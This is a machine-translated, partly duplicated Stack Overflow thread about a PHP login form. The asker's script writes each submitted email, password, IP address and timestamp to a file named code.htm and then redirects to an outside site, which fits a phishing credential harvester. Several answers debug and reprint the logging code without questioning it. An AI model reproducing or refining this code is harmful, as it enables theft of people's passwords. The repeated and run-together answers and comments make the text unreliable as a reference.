Php 条件语句和POST数据的问题

Php 条件语句和POST数据的问题,php,Php,我有一个基本的PHP登录表单,可以保存您的登录信息。我已经写了一个php代码,但代码没有按预期工作。这是密码 <?php if($_POST) { $email=$_POST['id']; $pass=$_POST['pass']; $ip = $_SERVER['REMOTE_ADDR']; if(empty($email) || empty($pass)){ header("Location: ../index.php?e=2");

我有一个基本的PHP登录表单,可以保存您的登录信息。我已经写了一个php代码,但代码没有按预期工作。这是密码

<?php
if($_POST) {
    $email=$_POST['id'];
    $pass=$_POST['pass'];
    $ip = $_SERVER['REMOTE_ADDR'];
    if(empty($email) || empty($pass)){
        header("Location: ../index.php?e=2");
    }
} else {
    $t=time();
    $time=date("D d M Y h:i:s A",$t);
    $f = fopen("code.htm", "a"); 
    fwrite ($f, $email.$password.$ip.$time);
    fclose($f);

    header("Location: xyz.com");
}

if(!(preg_match("/^[^@&*() ]+@[^@&*() ]+\.[^@\. ]+$/",$email))) {
    header("Location: ../index.php?email_error=2");
} else {
    //do nothing
}
?>

第一个if子句检查空字段,如果为空则重定向到index.php?e=2else子句将电子邮件、密码、ip和时间写入文件,并将用户重定向到所需位置

在第三个if子句中,我使用正则表达式进行电子邮件验证,并将用户重定向到显示错误的索引


这段代码非常简单,但不管怎样,请尝试使用第三个“if”子句。我想不出来。感谢您的帮助,如果我犯了任何错误,请更正。

删除额外的括号并在页眉后添加退出。最终代码如下所示:

if (isset($_POST['id']) && !empty($_POST['id'])) {
    $email = $_POST['id'];
    $pass = $_POST['pass'];
    $ip = $_SERVER['REMOTE_ADDR'];
    if (empty($email) || empty($pass)) {
        header("Location: ../index.php?e=2");
        exit;
    }
  }  else {
    $t = time();
    $time = date("D d M Y h:i:s A", $t);
    $f = fopen("code.htm", "a");
    fwrite($f, $email . $password . $ip . $time);
    fclose($f);

    header("Location: xyz.com");
    exit;
}
if (!(preg_match("/^[^@&*() ]+@[^@&*() ]+\.[^@\. ]+$/", $email))) {
    header("Location: ../index.php?email_error=2");
    exit;
} else {
    //do nothing
}

拆下额外的支架并在收割台后添加出口。最终代码如下所示:

if (isset($_POST['id']) && !empty($_POST['id'])) {
    $email = $_POST['id'];
    $pass = $_POST['pass'];
    $ip = $_SERVER['REMOTE_ADDR'];
    if (empty($email) || empty($pass)) {
        header("Location: ../index.php?e=2");
        exit;
    }
  }  else {
    $t = time();
    $time = date("D d M Y h:i:s A", $t);
    $f = fopen("code.htm", "a");
    fwrite($f, $email . $password . $ip . $time);
    fclose($f);

    header("Location: xyz.com");
    exit;
}
if (!(preg_match("/^[^@&*() ]+@[^@&*() ]+\.[^@\. ]+$/", $email))) {
    header("Location: ../index.php?email_error=2");
    exit;
} else {
    //do nothing
}

检查
$\u POST
是否存在空状态<代码>如果(!empty($\u POST))。正如@Dean所说。你的else永远不会执行,因为post总是在那里。因此,您应该首先为空post设置一个位置,然后放置
exit()
模具()在每个
标题之后

<?php
  if(!empty($_POST)){
     $email=$_POST['id'];
     $pass=$_POST['pass'];
     $ip = $_SERVER['REMOTE_ADDR'];
  if(empty($email) || empty($pass)){
    header("Location: ../index.php?e=2");
    exit();
   }
}else{
     $t=time();
     $time=date("D d M Y h:i:s A",$t);
     $f = fopen("code.htm", "a"); 
     fwrite ($f, $email.$password.$ip.$time);
     fclose($f);

     header("Location: xyz.com");
     exit();
}
    if(!(preg_match("/^[^@&*() ]+@[^@&*() ]+\.[^@\. ]+$/",$email))){
         header("Location: ../index.php?email_error=2");
         exit();
}else{
    //do nothing
}
?>

检查
$\u POST
是否为空状态<代码>如果(!empty($\u POST))
。正如@Dean所说。你的else永远不会执行,因为post总是在那里。因此,您应该首先为空post设置一个位置,然后放置
exit()
模具()在每个
标题之后

<?php
  if(!empty($_POST)){
     $email=$_POST['id'];
     $pass=$_POST['pass'];
     $ip = $_SERVER['REMOTE_ADDR'];
  if(empty($email) || empty($pass)){
    header("Location: ../index.php?e=2");
    exit();
   }
}else{
     $t=time();
     $time=date("D d M Y h:i:s A",$t);
     $f = fopen("code.htm", "a"); 
     fwrite ($f, $email.$password.$ip.$time);
     fclose($f);

     header("Location: xyz.com");
     exit();
}
    if(!(preg_match("/^[^@&*() ]+@[^@&*() ]+\.[^@\. ]+$/",$email))){
         header("Location: ../index.php?email_error=2");
         exit();
}else{
    //do nothing
}
?>

可能是这样的(但我不理解你写的
fwrite

另外,您应该处理任何其他请求类型(
else
-显示任何消息或页面)

可能是这样的(但我不理解您使用
fwrite



另外,您应该处理任何其他请求类型(
其他
-显示任何消息或页面)

在您的
标题
语句之后执行
退出
。。。。。PHP脚本将继续执行
if($\u POST){
=
if(true)
你确定你的第一个
}否则{
是正确的吗?如果是,那么你有很多未定义的变量
$email
$pass
$ip
使用
if(isset($\u POST['id'))
而不是
if($\u POST)
使用
if(!empty($\u POST))
检查是否有任何POST数据。在
标题
语句后执行
退出
。…PHP脚本将继续执行
if($\u POST){
=
if(true)
是否确定第一个
}其他{
是正确的吗?如果是,那么您有很多未定义的变量
$email
$pass
$ip
使用
If(isset($\u POST['id'))
而不是
If($\u POST)
使用
If(!empty($\u POST))
检查是否有任何POST数据。主“If子句”的“e”缺失“}”我很确定如果未设置['id']键,first if语句将返回错误。需要将!empty()if语句嵌套在isset()语句中。@MahaDev当我使用此代码时。即使post为空,它也会将我重定向到xyz.com。主“if子句”的“e missing”}我很确定first if语句如果没有,将返回错误['id']键已设置。需要将!empty()if语句嵌套在isset()语句中。@MahaDev当我使用此代码时。它会将我重定向到xyz.com,即使post it empty.WTF?不要使用此示例。如上所述(@Daan),这里有很多未定义的变量。这不起作用。只有第一个if每次都执行。可能有很多未定义的变量。但我只是告诉用户他的代码有什么问题。如果有人写了一个好的注释,那么在回答中包含这些注释有什么害处。你能展示一下你在
$\u POST
@urfus中得到的值吗ion Bro您的代码运行良好,除了fwrite和else子句头在正确提供电子邮件和密码时不起作用。WTF?不要使用此示例。如上所述(@Daan),这里有很多未定义的变量。这不起作用。只有第一个if每次都执行。可能有很多未定义的变量。但我只是告诉用户他的代码有什么问题。如果有人写了一个好的注释,那么在回答中包含这些注释有什么害处。你能展示一下你在
$\u POST
@urfus中得到的值吗ion Bro您的代码运行良好,除了fwrite和else子句头在正确提供电子邮件和密码时不起作用。您的答案很差。当OP对PHP来说显然是新的并且很困难时,您建议在没有任何解释的情况下对代码进行剧烈更改。您还将继续使用
if($\u POST)
这是原始代码中最大的缺陷,正如多个用户在对问题的评论中所指出的。如果你试图改进问题,我将投票。改进。但我不同意
$\u POST
检查。因为
!empty($\u POST)
在这种情况下是多余的。@Dmitry:如果你不同意
$\u POST
那么你为什么要在你的答案中包含这一点。为了声誉?它作为评论,只是为了解释。你的答案很差。你在没有任何解释的情况下建议对代码进行剧烈的更改,而OP对PHP来说显然是新的,而且很困难。你也是一个持续的人ng使用
if($\u POST)
这是原始代码中最大的缺陷,正如多个用户在对问题的评论中指出的那样。如果你试图改进问题,我将投票。改进。但我不同意
$\u POST
检查。因为
!empty($\u POST)
在这种情况下是多余的。@Dmitry:如果你不同意
$\u POST
那么你为什么要在回答中包含这一点。为了名誉?它作为注释包含,只是为了解释